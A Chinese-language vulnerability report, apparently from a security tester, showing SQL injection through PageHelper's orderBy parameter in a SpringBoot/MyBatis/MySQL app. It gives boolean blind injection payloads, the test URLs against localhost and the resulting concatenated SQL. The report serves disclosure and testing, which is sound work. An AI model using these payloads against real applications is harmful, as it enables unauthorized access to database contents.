该函数直接将mapper的SQL语句【select * from book】与orderBy参数提交的值【 (SELECT (CASE WHEN (1=1) THEN 'costprice' ELSE (SELECT 1 UNION SELECT 2) END)) 】直接拼接了在一起
converToOrderBySql返回的值就赋给了sql,sql=SELECT * FROM book order by (SELECT (CASE WHEN (1=1) THEN 'costprice' ELSE (SELECT 1 UNION SELECT 2) END))
在MySQL查看执行过的SQL语句历史,可以看到orderBy参数提交的参数被完整的放进了查询的SQL语句中【 SELECT * FROM book order by (SELECT (CASE WHEN (1=2) THEN 'costprice' ELSE (SELECT 1 UNION SELECT 2) END)) LIMIT 10 】
PageHelper的orderBy参数存在SQL注入漏洞【布尔型和时间性盲注】
使用环境
SpringBoot+Mybatis+MySQL
调用PageHelper
验证过程(布尔型盲注)
(因本人从事的是安全测试,Java代码基础薄弱,对于源码审计一块仅能定位到大致的位置,抱歉)
访问具有排序参数orderBy的页面
访问url:http://127.0.0.1:8080/testBook/testPageHelper1?pageNum=1&pageSize=10&orderBy=**(SELECT (CASE WHEN (1=1) THEN 'costprice' ELSE (SELECT 1 UNION SELECT 2) END))**
访问url:http://127.0.0.1:8080/testBook/testPageHelper1?pageNum=1&pageSize=10&orderBy=**(SELECT (CASE WHEN (1=2) THEN 'costprice' ELSE (SELECT 1 UNION SELECT 2) END))**